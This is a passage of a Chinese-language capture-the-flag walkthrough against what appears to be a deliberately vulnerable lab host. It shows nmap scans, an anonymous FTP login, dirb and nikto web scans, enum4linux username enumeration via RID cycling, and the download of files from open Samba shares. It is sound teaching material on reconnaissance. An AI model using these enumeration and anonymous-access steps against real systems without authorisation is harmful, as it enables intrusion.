|_nbstat: NetBIOS name: RED, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled but not required
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-time:
| date: 2022-10-31T12:58:46
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 54.63 seconds
Segmentation fault
可以再試試加更多option再掃一次:
$ sudo nmap -sS -sV -T5 -A -p- 192.168.44.227
[sudo] password for nathan:
Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-31 13:10 CST
Nmap scan report for 192.168.44.227
Host is up (0.0038s latency).
Not shown: 65523 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
20/tcp closed ftp-data
21/tcp open ftp vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: PASV failed: 550 Permission denied.
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 192.168.44.1
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 1
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 81:21:ce:a1:1a:05:b1:69:4f:4d:ed:80:28:e8:99:05 (RSA)
| 256 5b:a5:bb:67:91:1a:51:c2:d3:21:da:c0:ca:f0:db:9e (ECDSA)
|_ 256 6d:01:b7:73:ac:b0:93:6f:fa:b9:89:e6:ae:3c:ab:d3 (ED25519)
53/tcp open domain dnsmasq 2.75
| dns-nsid:
|_ bind.version: dnsmasq-2.75
80/tcp open http PHP cli server 5.5 or later
|_http-title: 404 Not Found
123/tcp closed ntp
137/tcp closed netbios-ns
138/tcp closed netbios-dgm
139/tcp open netbios-ssn Samba smbd 4.3.9-Ubuntu (workgroup: WORKGROUP)
666/tcp open doom?
| fingerprint-strings:
| NULL:
| message2.jpgUT
| QWux
| "DL[E
| #;3[
| \xf6
| u([r
| qYQq
| Y_?n2
| 3&M~{
| 9-a)T
| L}AJ
|_ .npy.9
3306/tcp open mysql MySQL 5.7.12-0ubuntu1
| mysql-info:
| Protocol: 10
| Version: 5.7.12-0ubuntu1
| Thread ID: 18
| Capabilities flags: 63487
| Some Capabilities: SupportsLoadDataLocal, Support41Auth, DontAllowDatabaseTableColumn, Speaks41ProtocolOld, FoundRows, SupportsTransactions, ODBCClient, ConnectWithDatabase, LongColumnFlag, SupportsCompression, IgnoreSigpipes, IgnoreSpaceBeforeParenthesis, LongPassword, InteractiveClient, Speaks41ProtocolNew, SupportsMultipleStatments, SupportsMultipleResults, SupportsAuthPlugins
| Status: Autocommit
| Salt: Q}Pm,^b%\x17^q5\x05s;\x06mN1q
|_ Auth Plugin Name: mysql_native_password
12380/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Tim, we need to-do better next year for Initech
|_http-server-header: Apache/2.4.18 (Ubuntu)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port666-TCP:V=7.92%I=7%D=10/31%Time=635F58F1%P=x86_64-pc-linux-gnu%r(NU
SF:LL,2D58,"PK\x03\x04\x14\0\x02\0\x08\0d\x80\xc3Hp\xdf\x15\x81\xaa,\0\0\x
SF:152\0\0\x0c\0\x1c\0message2\.jpgUT\t\0\x03\+\x9cQWJ\x9cQWux\x0b\0\x01\x
SF:04\xf5\x01\0\0\x04\x14\0\0\0\xadz\x0bT\x13\xe7\xbe\xefP\x94\x88\x88A@\x
SF:a2\x20\x19\xabUT\xc4T\x11\xa9\x102>\x8a\xd4RDK\x15\x85Jj\xa9\"DL\[E\xa2
SF:\x0c\x19\x140<\xc4\xb4\xb5\xca\xaen\x89\x8a\x8aV\x11\x91W\xc5H\x20\x0f\
SF:xb2\xf7\xb6\x88\n\x82@%\x99d\xb7\xc8#;3\[\r_\xcddr\x87\xbd\xcf9\xf7\xae
SF:u\xeeY\xeb\xdc\xb3oX\xacY\xf92\xf3e\xfe\xdf\xff\xff\xff=2\x9f\xf3\x99\x
SF:d3\x08y}\xb8a\xe3\x06\xc8\xc5\x05\x82>`\xfe\x20\xa7\x05:\xb4y\xaf\xf8\x
SF:a0\xf8\xc0\^\xf1\x97sC\x97\xbd\x0b\xbd\xb7nc\xdc\xa4I\xd0\xc4\+j\xce\[\
SF:x87\xa0\xe5\x1b\xf7\xcc=,\xce\x9a\xbb\xeb\xeb\xdds\xbf\xde\xbd\xeb\x8b\
SF:xf4\xfdis\x0f\xeeM\?\xb0\xf4\x1f\xa3\xcceY\xfb\xbe\x98\x9b\xb6\xfb\xe0\
SF:xdc\]sS\xc5bQ\xfa\xee\xb7\xe7\xbc\x05AoA\x93\xfe9\xd3\x82\x7f\xcc\xe4\x
SF:d5\x1dx\xa2O\x0e\xdd\x994\x9c\xe7\xfe\x871\xb0N\xea\x1c\x80\xd63w\xf1\x
SF:af\xbd&&q\xf9\x97'i\x85fL\x81\xe2\\\xf6\xb9\xba\xcc\x80\xde\x9a\xe1\xe2
SF::\xc3\xc5\xa9\x85`\x08r\x99\xfc\xcf\x13\xa0\x7f{\xb9\xbc\xe5:i\xb2\x1bk
SF:\x8a\xfbT\x0f\xe6\x84\x06/\xe8-\x17W\xd7\xb7&\xb9N\x9e<\xb1\\\.\xb9\xcc
SF:\xe7\xd0\xa4\x19\x93\xbd\xdf\^\xbe\xd6\xcdg\xcb\.\xd6\xbc\xaf\|W\x1c\xf
SF:d\xf6\xe2\x94\xf9\xebj\xdbf~\xfc\x98x'\xf4\xf3\xaf\x8f\xb9O\xf5\xe3\xcc
SF:\x9a\xed\xbf`a\xd0\xa2\xc5KV\x86\xad\n\x7fou\xc4\xfa\xf7\xa37\xc4\|\xb0
SF:\xf1\xc3\x84O\xb6nK\xdc\xbe#\)\xf5\x8b\xdd{\xd2\xf6\xa6g\x1c8\x98u\(\[r
SF:\xf8H~A\xe1qYQq\xc9w\xa7\xbe\?}\xa6\xfc\x0f\?\x9c\xbdTy\xf9\xca\xd5\xaa
SF:k\xd7\x7f\xbcSW\xdf\xd0\xd8\xf4\xd3\xddf\xb5F\xabk\xd7\xff\xe9\xcf\x7fy
SF:\xd2\xd5\xfd\xb4\xa7\xf7Y_\?n2\xff\xf5\xd7\xdf\x86\^\x0c\x8f\x90\x7f\x7
SF:f\xf9\xea\xb5m\x1c\xfc\xfef\"\.\x17\xc8\xf5\?B\xff\xbf\xc6\xc5,\x82\xcb
SF:\[\x93&\xb9NbM\xc4\xe5\xf2V\xf6\xc4\t3&M~{\xb9\x9b\xf7\xda-\xac\]_\xf9\
SF:xcc\[qt\x8a\xef\xbao/\xd6\xb6\xb9\xcf\x0f\xfd\x98\x98\xf9\xf9\xd7\x8f\x
SF:a7\xfa\xbd\xb3\x12_@N\x84\xf6\x8f\xc8\xfe{\x81\x1d\xfb\x1fE\xf6\x1f\x81
SF:\xfd\xef\xb8\xfa\xa1i\xae\.L\xf2\\g@\x08D\xbb\xbfp\xb5\xd4\xf4Ym\x0bI\x
SF:96\x1e\xcb\x879-a\)T\x02\xc8\$\x14k\x08\xae\xfcZ\x90\xe6E\xcb<C\xcap\x8
SF:f\xd0\x8f\x9fu\x01\x8dvT\xf0'\x9b\xe4ST%\x9f5\x95\xab\rSWb\xecN\xfb&\xf
SF:4\xed\xe3v\x13O\xb73A#\xf0,\xd5\xc2\^\xe8\xfc\xc0\xa7\xaf\xab4\xcfC\xcd
SF:\x88\x8e}\xac\x15\xf6~\xc4R\x8e`wT\x96\xa8KT\x1cam\xdb\x99f\xfb\n\xbc\x
SF:bcL}AJ\xe5H\x912\x88\(O\0k\xc9\xa9\x1a\x93\xb8\x84\x8fdN\xbf\x17\xf5\xf
SF:0\.npy\.9\x04\xcf\x14\x1d\x89Rr9\xe4\xd2\xae\x91#\xfbOg\xed\xf6\x15\x04
SF:\xf6~\xf1\]V\xdcBGu\xeb\xaa=\x8e\xef\xa4HU\x1e\x8f\x9f\x9bI\xf4\xb6GTQ\
SF:xf3\xe9\xe5\x8e\x0b\x14L\xb2\xda\x92\x12\xf3\x95\xa2\x1c\xb3\x13\*P\x11
SF:\?\xfb\xf3\xda\xcaDfv\x89`\xa9\xe4k\xc4S\x0e\xd6P0");
Aggressive OS guesses: Linux 3.2 - 4.9 (96%), Linux 3.10 - 4.11 (93%), Linux 3.13 (93%), Linux 3.13 - 3.16 (93%), OpenWrt Chaos Calmer 15.05 (Linux 3.18) or Designated Driver (Linux 4.1 or 4.4) (93%), Linux 4.10 (93%), Android 5.0 - 6.0.1 (Linux 3.4) (93%), Linux 3.2 - 3.10 (93%), Linux 3.2 - 3.16 (93%), Linux 4.5 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: RED; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled but not required
|_nbstat: NetBIOS name: RED, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.3.9-Ubuntu)
| Computer name: red
| NetBIOS computer name: RED\x00
| Domain name: \x00
| FQDN: red
|_ System time: 2022-10-31T13:08:07+00:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-time:
| date: 2022-10-31T13:08:07
|_ start_date: N/A
|_clock-skew: mean: 7h56m37s, deviation: 0s, median: 7h56m37s
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 0.65 ms DESKTOP-NRNV04H.mshome.net (172.22.128.1)
2 6.12 ms 192.168.44.227
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 109.59 seconds
Segmentation fault
簡單比較一下這兩個指令,可以掃到的port的差別:
nmap -A -T4
port: 20 21 22 53 80 139 666 3306
nmap -sS -sV -T5 -A -p-
port: 20 21 22 53 80 123 137 138 139 666 3306 12380
可以發現多掃出了123, 137, 138, 12380等port的開啟。
容易受到攻擊的端口:FTP(21 port)、NetBIOS、、MySQL和Web服務器(Apache HTTPD)的端口12380等等。
剛剛的nmap的掃瞄結果,針對ftp有這一行:
ftp-anon: Anonymous FTP login allowed (FTP code 230)
代表可以匿名不用密碼。趕快來試試看:
$ ftp 192.168.44.227
Connected to 192.168.44.227.
220-
220-|-----------------------------------------------------------------------------------------|
220-| Harry, make sure to update the banner when you get a chance to show who has access here |
220-|-----------------------------------------------------------------------------------------|
220-
220
Name (192.168.44.227:nathan): Anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
問Name的時候用Anonymous,問Password時直接按Enter即可登入。接下來從這個協議找找線索:
ftp> ls
550 Permission denied.
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r-- 1 0 0 107 Jun 03 2016 note
226 Directory send OK.
發現有一個note,把它下載下來:
ftp> get note
local: note remote: note
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for note (107 bytes).
100% |********************************| 107 32.44 KiB/s 00:00 ETA
226 Transfer complete.
107 bytes received in 00:00 (25.61 KiB/s)
接下來在本機的根目錄看:
──(kali㉿kali)-[~]
└─$ ls
10.c Documents Music ptrace target_machine
47080.c Downloads note ptrace-kmod.c Templates
Desktop kipotrix_1.1 Pictures Public Videos
┌──(kali㉿kali)-[~]
└─$ cat note
Elly, make sure you update the payload information. Leave it in your FTP account once your are done, John.
線索: Elly跟John兩個用戶名。
因為有80 port,所以用dirb跟nikto掃:
$ dirb http://192.168.44.227
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Mon Oct 31 17:37:24 2022
URL_BASE: http://192.168.44.227/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://192.168.44.227/ ----
+ http://192.168.44.227/.bashrc (CODE:200|SIZE:3771)
+ http://192.168.44.227/.profile (CODE:200|SIZE:675)
-----------------
END_TIME: Mon Oct 31 17:39:12 2022
DOWNLOADED: 4612 - FOUND: 2
$ nikto -h http://192.168.44.227
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 192.168.44.227
+ Target Hostname: 192.168.44.227
+ Target Port: 80
+ Start Time: 2022-10-31 17:39:25 (GMT8)
---------------------------------------------------------------------------
+ Server: No banner retrieved
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ OSVDB-3093: /.bashrc: User home dir was found with a shell rc file. This may reveal file and path information.
+ OSVDB-3093: /.profile: User home dir with a shell profile was found. May reveal directory information and system configuration.
+ ERROR: Error limit (20) reached for host, giving up. Last error:
+ Scan terminated: 17 error(s) and 5 item(s) reported on remote host
+ End Time: 2022-10-31 17:41:55 (GMT8) (150 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
總之就是.bashrc跟.profile,內容如下:
bashrc:
# ~/.bashrc: executed by bash(1) for non-login shells.
# see /usr/share/doc/bash/examples/startup-files (in the package bash-doc)
# for examples
# If not running interactively, don't do anything
case $- in
*i*) ;;
*) return;;
esac
# don't put duplicate lines or lines starting with space in the history.
# See bash(1) for more options
HISTCONTROL=ignoreboth
# append to the history file, don't overwrite it
shopt -s histappend
# for setting history length see HISTSIZE and HISTFILESIZE in bash(1)
HISTSIZE=1000
HISTFILESIZE=2000
# check the window size after each command and, if necessary,
# update the values of LINES and COLUMNS.
shopt -s checkwinsize
# If set, the pattern "**" used in a pathname expansion context will
# match all files and zero or more directories and subdirectories.
#shopt -s globstar
# make less more friendly for non-text input files, see lesspipe(1)
[ -x /usr/bin/lesspipe ] && eval "$(SHELL=/bin/sh lesspipe)"
# set variable identifying the chroot you work in (used in the prompt below)
if [ -z "${debian_chroot:-}" ] && [ -r /etc/debian_chroot ]; then
debian_chroot=$(cat /etc/debian_chroot)
fi
# set a fancy prompt (non-color, unless we know we "want" color)
case "$TERM" in
xterm-color|*-256color) color_prompt=yes;;
esac
# uncomment for a colored prompt, if the terminal has the capability; turned
# off by default to not distract the user: the focus in a terminal window
# should be on the output of commands, not on the prompt
#force_color_prompt=yes
if [ -n "$force_color_prompt" ]; then
if [ -x /usr/bin/tput ] && tput setaf 1 >&/dev/null; then
# We have color support; assume it's compliant with Ecma-48
# (ISO/IEC-6429). (Lack of such support is extremely rare, and such
# a case would tend to support setf rather than setaf.)
color_prompt=yes
else
color_prompt=
fi
fi
if [ "$color_prompt" = yes ]; then
PS1='${debian_chroot:+($debian_chroot)}\[\033[01;32m\]\u@\h\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]\$ '
else
PS1='${debian_chroot:+($debian_chroot)}\u@\h:\w\$ '
fi
unset color_prompt force_color_prompt
# If this is an xterm set the title to user@host:dir
case "$TERM" in
xterm*|rxvt*)
PS1="\[\e]0;${debian_chroot:+($debian_chroot)}\u@\h: \w\a\]$PS1"
;;
*)
;;
esac
# enable color support of ls and also add handy aliases
if [ -x /usr/bin/dircolors ]; then
test -r ~/.dircolors && eval "$(dircolors -b ~/.dircolors)" || eval "$(dircolors -b)"
alias ls='ls --color=auto'
#alias dir='dir --color=auto'
#alias vdir='vdir --color=auto'
alias grep='grep --color=auto'
alias fgrep='fgrep --color=auto'
alias egrep='egrep --color=auto'
fi
# colored GCC warnings and errors
#export GCC_COLORS='error=01;31:warning=01;35:note=01;36:caret=01;32:locus=01:quote=01'
# some more ls aliases
alias ll='ls -alF'
alias la='ls -A'
alias l='ls -CF'
# Add an "alert" alias for long running commands. Use like so:
# sleep 10; alert
alias alert='notify-send --urgency=low -i "$([ $? = 0 ] && echo terminal || echo error)" "$(history|tail -n1|sed -e '\''s/^\s*[0-9]\+\s*//;s/[;&|]\s*alert$//'\'')"'
# Alias definitions.
# You may want to put all your additions into a separate file like
# ~/.bash_aliases, instead of adding them here directly.
# See /usr/share/doc/bash-doc/examples in the bash-doc package.
if [ -f ~/.bash_aliases ]; then
. ~/.bash_aliases
fi
# enable programmable completion features (you don't need to enable
# this, if it's already enabled in /etc/bash.bashrc and /etc/profile
# sources /etc/bash.bashrc).
if ! shopt -oq posix; then
if [ -f /usr/share/bash-completion/bash_completion ]; then
. /usr/share/bash-completion/bash_completion
elif [ -f /etc/bash_completion ]; then
. /etc/bash_completion
fi
fi
profile:
# ~/.profile: executed by the command interpreter for login shells.
# This file is not read by bash(1), if ~/.bash_profile or ~/.bash_login
# exists.
# see /usr/share/doc/bash/examples/startup-files for examples.
# the files are located in the bash-doc package.
# the default umask is set in /etc/profile; for setting the umask
# for ssh logins, install and configure the libpam-umask package.
#umask 022
# if running bash
if [ -n "$BASH_VERSION" ]; then
# include .bashrc if it exists
if [ -f "$HOME/.bashrc" ]; then
. "$HOME/.bashrc"
fi
fi
# set PATH so it includes user's private bin if it exists
if [ -d "$HOME/bin" ] ; then
PATH="$HOME/bin:$PATH"
fi
感覺沒有什麼東西。
samba的偵查有好幾種工具可用,詳細可參見這篇[第8天]偵查-Samba - iT 邦幫忙::一起幫忙解決難題,拯救 IT 人的一天。總之,能夠使用的工具有enum4linux、smbmap、smbclient、
$ smbclient -L 192.168.44.227
Password for [WORKGROUP\nathan]:
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
kathy Disk Fred, What are we doing here?
tmp Disk All temporary files should be stored here
IPC$ IPC IPC Service (red server (Samba, Ubuntu))
Reconnecting with SMB1 for workgroup listing.
Server Comment
--------- -------
Workgroup Master
--------- -------
WORKGROUP RED
$ enum4linux 192.168.44.227
Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Tue Nov 1 09:13:11 2022
=========================================( Target Information )=========================================
Target ........... 192.168.44.227
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
===========================( Enumerating Workgroup/Domain on 192.168.44.227 )===========================
[+] Got domain/workgroup name: WORKGROUP
===============================( Nbtstat Information for 192.168.44.227 )===============================
Looking up status of 192.168.44.227
RED <00> - H <ACTIVE> Workstation Service
RED <03> - H <ACTIVE> Messenger Service
RED <20> - H <ACTIVE> File Server Service
..__MSBROWSE__. <01> - <GROUP> H <ACTIVE> Master Browser
WORKGROUP <00> - <GROUP> H <ACTIVE> Domain/Workgroup Name
WORKGROUP <1d> - H <ACTIVE> Master Browser
WORKGROUP <1e> - <GROUP> H <ACTIVE> Browser Service Elections
MAC Address = 00-00-00-00-00-00
==================================( Session Check on 192.168.44.227 )==================================
[+] Server 192.168.44.227 allows sessions using username '', password ''
===============================( Getting domain SID for 192.168.44.227 )===============================
Domain Name: WORKGROUP
Domain Sid: (NULL SID)
[+] Can't determine if host is part of domain or part of a workgroup
==================================( OS information on 192.168.44.227 )==================================
[E] Can't get OS info with smbclient
[+] Got OS info for 192.168.44.227 from srvinfo:
RED Wk Sv PrQ Unx NT SNT red server (Samba, Ubuntu)
platform_id : 500
os version : 6.1
server type : 0x809a03
======================================( Users on 192.168.44.227 )======================================
Use of uninitialized value $users in print at ./enum4linux.pl line 972.
Use of uninitialized value $users in pattern match (m//) at ./enum4linux.pl line 975.
Use of uninitialized value $users in print at ./enum4linux.pl line 986.
Use of uninitialized value $users in pattern match (m//) at ./enum4linux.pl line 988.
================================( Share Enumeration on 192.168.44.227 )================================
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
kathy Disk Fred, What are we doing here?
tmp Disk All temporary files should be stored here
IPC$ IPC IPC Service (red server (Samba, Ubuntu))
Reconnecting with SMB1 for workgroup listing.
Server Comment
--------- -------
Workgroup Master
--------- -------
WORKGROUP RED
[+] Attempting to map shares on 192.168.44.227
//192.168.44.227/print$ Mapping: DENIED Listing: N/A Writing: N/A
//192.168.44.227/kathy Mapping: OK Listing: OK Writing: N/A
//192.168.44.227/tmp Mapping: OK Listing: OK Writing: N/A
[E] Can't understand response:
NT_STATUS_OBJECT_NAME_NOT_FOUND listing \*
//192.168.44.227/IPC$ Mapping: N/A Listing: N/A Writing: N/A
===========================( Password Policy Information for 192.168.44.227 )===========================
[+] Attaching to 192.168.44.227 using a NULL share
[+] Trying protocol 139/SMB...
[+] Found domain(s):
[+] RED
[+] Builtin
[+] Password Info for Domain: RED
[+] Minimum password length: 5
[+] Password history length: None
[+] Maximum password age: Not Set
[+] Password Complexity Flags: 000000
[+] Domain Refuse Password Change: 0
[+] Domain Password Store Cleartext: 0
[+] Domain Password Lockout Admins: 0
[+] Domain Password No Clear Change: 0
[+] Domain Password No Anon Change: 0
[+] Domain Password Complex: 0
[+] Minimum password age: None
[+] Reset Account Lockout Counter: 30 minutes
[+] Locked Account Duration: 30 minutes
[+] Account Lockout Threshold: None
[+] Forced Log off Time: Not Set
[+] Retieved partial password policy with rpcclient:
Password Complexity: Disabled
Minimum Password Length: 5
======================================( Groups on 192.168.44.227 )======================================
[+] Getting builtin groups:
[+] Getting builtin group memberships:
[+] Getting local groups:
[+] Getting local group memberships:
[+] Getting domain groups:
[+] Getting domain group memberships:
=================( Users on 192.168.44.227 via RID cycling (RIDS: 500-550,1000-1050) )=================
[I] Found new SID:
S-1-22-1
[I] Found new SID:
S-1-5-32
[I] Found new SID:
S-1-5-32
[I] Found new SID:
S-1-5-32
[I] Found new SID:
S-1-5-32
[+] Enumerating users using SID S-1-22-1 and logon username '', password ''
S-1-22-1-1000 Unix User\peter (Local User)
S-1-22-1-1001 Unix User\RNunemaker (Local User)
S-1-22-1-1002 Unix User\ETollefson (Local User)
S-1-22-1-1003 Unix User\DSwanger (Local User)
S-1-22-1-1004 Unix User\AParnell (Local User)
S-1-22-1-1005 Unix User\SHayslett (Local User)
S-1-22-1-1006 Unix User\MBassin (Local User)
S-1-22-1-1007 Unix User\JBare (Local User)
S-1-22-1-1008 Unix User\LSolum (Local User)
S-1-22-1-1009 Unix User\IChadwick (Local User)
S-1-22-1-1010 Unix User\MFrei (Local User)
S-1-22-1-1011 Unix User\SStroud (Local User)
S-1-22-1-1012 Unix User\CCeaser (Local User)
S-1-22-1-1013 Unix User\JKanode (Local User)
S-1-22-1-1014 Unix User\CJoo (Local User)
S-1-22-1-1015 Unix User\Eeth (Local User)
S-1-22-1-1016 Unix User\LSolum2 (Local User)
S-1-22-1-1017 Unix User\JLipps (Local User)
S-1-22-1-1018 Unix User\jamie (Local User)
S-1-22-1-1019 Unix User\Sam (Local User)
S-1-22-1-1020 Unix User\Drew (Local User)
S-1-22-1-1021 Unix User\jess (Local User)
S-1-22-1-1022 Unix User\SHAY (Local User)
S-1-22-1-1023 Unix User\Taylor (Local User)
S-1-22-1-1024 Unix User\mel (Local User)
S-1-22-1-1025 Unix User\kai (Local User)
S-1-22-1-1026 Unix User\zoe (Local User)
S-1-22-1-1027 Unix User\NATHAN (Local User)
S-1-22-1-1028 Unix User\www (Local User)
S-1-22-1-1029 Unix User\elly (Local User)
[+] Enumerating users using SID S-1-5-21-864226560-67800430-3082388513 and logon username '', password ''
S-1-5-21-864226560-67800430-3082388513-501 RED\nobody (Local User)
S-1-5-21-864226560-67800430-3082388513-513 RED\None (Domain Group)
[+] Enumerating users using SID S-1-5-32 and logon username '', password ''
S-1-5-32-544 BUILTIN\Administrators (Local Group)
S-1-5-32-545 BUILTIN\Users (Local Group)
S-1-5-32-546 BUILTIN\Guests (Local Group)
S-1-5-32-547 BUILTIN\Power Users (Local Group)
S-1-5-32-548 BUILTIN\Account Operators (Local Group)
S-1-5-32-549 BUILTIN\Server Operators (Local Group)
S-1-5-32-550 BUILTIN\Print Operators (Local Group)
==============================( Getting printer info for 192.168.44.227 )==============================
No printers returned.
enum4linux complete on Tue Nov 1 09:13:49 2022
enum4linux列出來的使用者名稱值得注意:
S-1-22-1-1000 Unix User\peter (Local User)
S-1-22-1-1001 Unix User\RNunemaker (Local User)
S-1-22-1-1002 Unix User\ETollefson (Local User)
S-1-22-1-1003 Unix User\DSwanger (Local User)
S-1-22-1-1004 Unix User\AParnell (Local User)
S-1-22-1-1005 Unix User\SHayslett (Local User)
S-1-22-1-1006 Unix User\MBassin (Local User)
S-1-22-1-1007 Unix User\JBare (Local User)
S-1-22-1-1008 Unix User\LSolum (Local User)
S-1-22-1-1009 Unix User\IChadwick (Local User)
S-1-22-1-1010 Unix User\MFrei (Local User)
S-1-22-1-1011 Unix User\SStroud (Local User)
S-1-22-1-1012 Unix User\CCeaser (Local User)
S-1-22-1-1013 Unix User\JKanode (Local User)
S-1-22-1-1014 Unix User\CJoo (Local User)
S-1-22-1-1015 Unix User\Eeth (Local User)
S-1-22-1-1016 Unix User\LSolum2 (Local User)
S-1-22-1-1017 Unix User\JLipps (Local User)
S-1-22-1-1018 Unix User\jamie (Local User)
S-1-22-1-1019 Unix User\Sam (Local User)
S-1-22-1-1020 Unix User\Drew (Local User)
S-1-22-1-1021 Unix User\jess (Local User)
S-1-22-1-1022 Unix User\SHAY (Local User)
S-1-22-1-1023 Unix User\Taylor (Local User)
S-1-22-1-1024 Unix User\mel (Local User)
S-1-22-1-1025 Unix User\kai (Local User)
S-1-22-1-1026 Unix User\zoe (Local User)
S-1-22-1-1027 Unix User\NATHAN (Local User)
S-1-22-1-1028 Unix User\www (Local User)
S-1-22-1-1029 Unix User\elly (Local User)
看起來kathy跟tmp好像很活躍。
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
kathy Disk Fred, What are we doing here?
tmp Disk All temporary files should be stored here
IPC$ IPC IPC Service (red server (Samba, Ubuntu))
Reconnecting with SMB1 for workgroup listing.
Server Comment
--------- -------
Workgroup Master
--------- -------
WORKGROUP RED
[+] Attempting to map shares on 192.168.44.227
//192.168.44.227/print$ Mapping: DENIED Listing: N/A Writing: N/A
//192.168.44.227/kathy Mapping: OK Listing: OK Writing: N/A
//192.168.44.227/tmp Mapping: OK Listing: OK Writing: N/A
接下來偵查samba裡面到底有什麼東西:
└─$ smbclient //NATHAN/kathy -I 192.168.44.227 -N
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Sat Jun 4 00:52:52 2016
.. D 0 Tue Jun 7 05:39:56 2016
kathy_stuff D 0 Sun Jun 5 23:02:27 2016
backup D 0 Sun Jun 5 23:04:14 2016
19478204 blocks of size 1024. 16395080 blocks available
smb: \> cd kathy_stuff
smb: \kathy_stuff\> ls
. D 0 Sun Jun 5 23:02:27 2016
.. D 0 Sat Jun 4 00:52:52 2016
todo-list.txt N 64 Sun Jun 5 23:02:27 2016
19478204 blocks of size 1024. 16395076 blocks available
smb: \kathy_stuff\> get todo-list.txt
getting file \kathy_stuff\todo-list.txt of size 64 as todo-list.txt (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)
smb: \kathy_stuff\> cd ..
smb: \> cd backup
smb: \backup\> ls
. D 0 Sun Jun 5 23:04:14 2016
.. D 0 Sat Jun 4 00:52:52 2016
vsftpd.conf N 5961 Sun Jun 5 23:03:45 2016
wordpress-4.tar.gz N 6321767 Tue Apr 28 01:14:46 2015
19478204 blocks of size 1024. 16395076 blocks available
smb: \backup\> get vsftpd.conf
getting file \backup\vsftpd.conf of size 5961 as vsftpd.conf (0.9 KiloBytes/sec) (average 0.9 KiloBytes/sec)
smb: \backup\> get wordpress-4.tar.gz
parallel_read returned NT_STATUS_IO_TIMEOUT
解釋一下,//NATHAN/kathy
的NATHAN是server,kathy是在這server託管的。NATHAN是enum4linux上列出來的名字,kathy則是本來就有興趣的帳戶。
上面的步驟,把todo-list.txt 、vsftpd.conf跟wordpress-4.tar.gz給載了下來。
todo-list.txt:
$ cat todo-list.txt
I'm making sure to backup anything important for Initech, Kathy
vsftpd.conf:
$ cat vsftpd.conf
# Example config file /etc/vsftpd.conf
#
# The default compiled in settings are fairly paranoid. This sample file
# loosens things up a bit, to make the ftp daemon more usable.
# Please see vsftpd.conf.5 for all compiled in defaults.
#
# READ THIS: This example file is NOT an exhaustive list of vsftpd options.
# Please read the vsftpd.conf.5 manual page to get a full idea of vsftpd's
# capabilities.
#
#
# Run standalone? vsftpd can run either from an inetd or as a standalone
# daemon started from an initscript.
listen=YES
#
# This directive enables listening on IPv6 sockets. By default, listening
# on the IPv6 "any" address (::) will accept connections from both IPv6
# and IPv4 clients. It is not necessary to listen on *both* IPv4 and IPv6
# sockets. If you want that (perhaps because you want to listen on specific
# addresses) then you must run two copies of vsftpd with two configuration
# files.
listen_ipv6=NO
#
# Allow anonymous FTP? (Disabled by default).
anonymous_enable=YES
anon_root=/var/ftp/anonymous
#
# Uncomment this to allow local users to log in.
local_enable=YES
#
# Uncomment this to enable any form of FTP write command.
#write_enable=YES
#
# Default umask for local users is 077. You may wish to change this to 022,
# if your users expect that (022 is used by most other ftpd's)
#local_umask=022
#
# Uncomment this to allow the anonymous FTP user to upload files. This only
# has an effect if the above global write enable is activated. Also, you will
# obviously need to create a directory writable by the FTP user.
#anon_upload_enable=YES
#
# Uncomment this if you want the anonymous FTP user to be able to create
# new directories.
#anon_mkdir_write_enable=YES
#
# Activate directory messages - messages given to remote users when they
# go into a certain directory.
dirmessage_enable=YES
#
# If enabled, vsftpd will display directory listings with the time
# in your local time zone. The default is to display GMT. The
# times returned by the MDTM FTP command are also affected by this
# option.
use_localtime=YES
#
# Activate logging of uploads/downloads.
xferlog_enable=YES
#
